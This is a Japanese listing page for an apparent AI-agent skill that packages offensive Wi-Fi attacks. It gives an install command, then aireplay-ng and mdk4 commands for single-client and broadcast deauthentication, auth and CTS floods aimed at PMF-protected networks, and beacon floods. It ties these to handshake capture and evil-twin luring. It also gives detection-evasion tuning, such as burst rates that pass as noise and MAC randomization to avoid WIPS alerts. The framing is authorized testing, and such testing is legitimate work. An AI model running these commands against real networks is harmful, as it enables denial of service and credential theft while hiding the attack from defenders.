offensive-deauth-disassoc について
802.11の切断攻撃、PMFの挙動、アクションフレーム、ビーコンフラッドを評価する無線セキュリティテスト用スキルです。許可を得たテスト担当者向けに、計画から検知の観察、報告までを扱います。
主な機能
- 01802.11切断テスト
- 02PMF状態の評価
- 03アクションフレーム攻撃の解説
- 04ビーコンフラッドテスト
- 05送信レートと検知の説明
- 06テスト報告チェックリスト
活用シーン
- 01クライアントの再接続動作のテスト
- 02PMF保護とその制約の評価
- 03WIPSの検知応答の確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-deauth-disassocインストール後、Claude Code で/offensive-deauth-disassocを入力して読み込まれたか確認します。
詳細
Deauth/Disassoc 攻撃
最もよく使われる 802.11 管理フレーム攻撃です。AP を装った偽造の認証解除フレームまたは関連解除フレームを送信すると、クライアントは切断されます。最新の PMF(802.11w)では、これらのフレームが暗号学的に認証されますが、PMF を必須にしていないコンシューマー向けおよびエンタープライズ向けの導入環境は、今でも数多くあります。
クイックワークフロー
- 対象クライアントと AP を特定します(BSSID、チャンネル)
- Deauth の範囲を選びます。単一クライアント(目立たない)か、ブロードキャスト(目立つ、DoS)です
- PMF の状態を確認します。必須の場合、従来の Deauth は失敗するため、アクションフレーム攻撃に切り替えます
- 適切なレートで Deauth バーストを送信します
単一クライアントへの Deauth(推奨)
ハンドシェイクのキャプチャを強制する、クライアントを evil twin に誘導する、または再接続動作をテストするために使用します。
sudo aireplay-ng --deauth 5 \
-a AA:BB:CC:DD:EE:FF \ # AP BSSID
-c 11:22:33:44:55:66 \ # client MAC
wlan0mon
--deauth 5は Deauth を 5 回送信します(10 フレーム。AP 宛てに 5 フレーム、クライアント宛てに 5 フレーム)。通常は 3~10 回で十分です。- 1 回のバーストで 30 回を超える送信は、必要以上に目立ちます。
ブロードキャスト Deauth(DoS、必要な場合のみ使用)
# Single AP, all clients
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
# --deauth 0 = continuous
# Multiple APs from a list
sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11
明示的な許可がある場合に限ります。ブロードキャスト Deauth を継続すると明らかな DoS の兆候となり、ほとんどの WIPS が数秒以内に検知します。
PMF(802.11w)への注意
PMF は Deauth/Disassoc フレームを認証します。ステータスはビーコンの RSN 機能情報で確認できます。
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# PMF column: Required / Capable / Off
| PMF の状態 | Deauth の効果 |
|---|---|
| オフ | 従来の Deauth が有効 |
| 対応(任意) | PMF を使用していないクライアントには有効ですが、PMF 対応クライアントには無効です |
| 必須 | 従来の Deauth は無視されます。アクションフレーム攻撃を使用する必要があります |
PMF に対するアクションフレーム攻撃
PMF は Deauth/Disassoc を保護しますが、必ずしもすべてのアクションフレームを保護するわけではありません。特定の種類のアクションフレームは引き続き悪用可能です。
# mdk4 multi-tool attacks
sudo mdk4 wlan0mon a -a <BSSID> # auth attack: floods auth frames, AP eventually disconnects clients
sudo mdk4 wlan0mon m -t <BSSID> # CTS frame attack — abuse virtual carrier sense
sudo mdk4 wlan0mon w -t <BSSID> # WPA-Enterprise: SAE auth flood
IEEE 802.11 仕様で「保護されない場合がある」とされているアクションフレームには、一部のブロック ACK やチャネル切り替えの通知が含まれます。実装固有の悪用経路も存在しますが、チップセットごとのテストが必要です。
ビーコンフラッディング
偽のビーコンを大量に送信し、クライアント(および WIPS)を混乱させます。
sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100
# Floods 100 beacons/sec for ESSIDs in the file
使用例:
- ノイズに紛れ込ませて evil twin を隠します
- クライアントのローミングロジックに負荷をかけてテストします
- 数千の偽 AP で WIPS ダッシュボードに DoS を発生させます
レートの調整と検知
| バースト | 防御側に現れる兆候 |
|---|---|
| 単一クライアントへの Deauth 3~10 回 | ローミングや RF ノイズと誤分類されることがよくあります |
| 1 つの送信元から毎秒 30 回超の Deauth | WIPS ルールが作動します |
| ブロードキャスト Deauth の継続 | 明らかな DoS。数分以内にアラートが発報され、チケットが作成されます |
| 毎秒 50 回超のビーコンフラッド | WIPS ダッシュボードが飽和します |
バーストと一時停止のサイクルごとに送信元 MAC をランダム化して、信号を分散させます。
実施時のチートシート
# 1. Recon — note PMF status per target
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# 2. Single-client deauth for handshake capture
sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon
# 3. PMF blocking? Try action-frame attacks
sudo mdk4 wlan0mon a -a <BSSID>
# 4. DoS scenario (authorized)
sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon
報告
各テストについて、以下を記録します。
- 対象の BSSID、ESSID、PMF の状態
- バーストのサイズと継続時間
- 観測された影響(クライアントは再接続したか、ハンドシェイクをキャプチャできたか、DoS を達成したか)
- 防御側が確認できたはずの検知シグナル
主な参考資料
- aireplay-ng のドキュメント
- mdk4:github.com/aircrack-ng/mdk4
- IEEE 802.11w-2009(PMF 仕様。現在は 802.11-2020 に統合されています)
- 「Why MAC Address Randomization Doesn't Work」— アクションフレームからの情報漏えいに関する調査
- 出典:https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md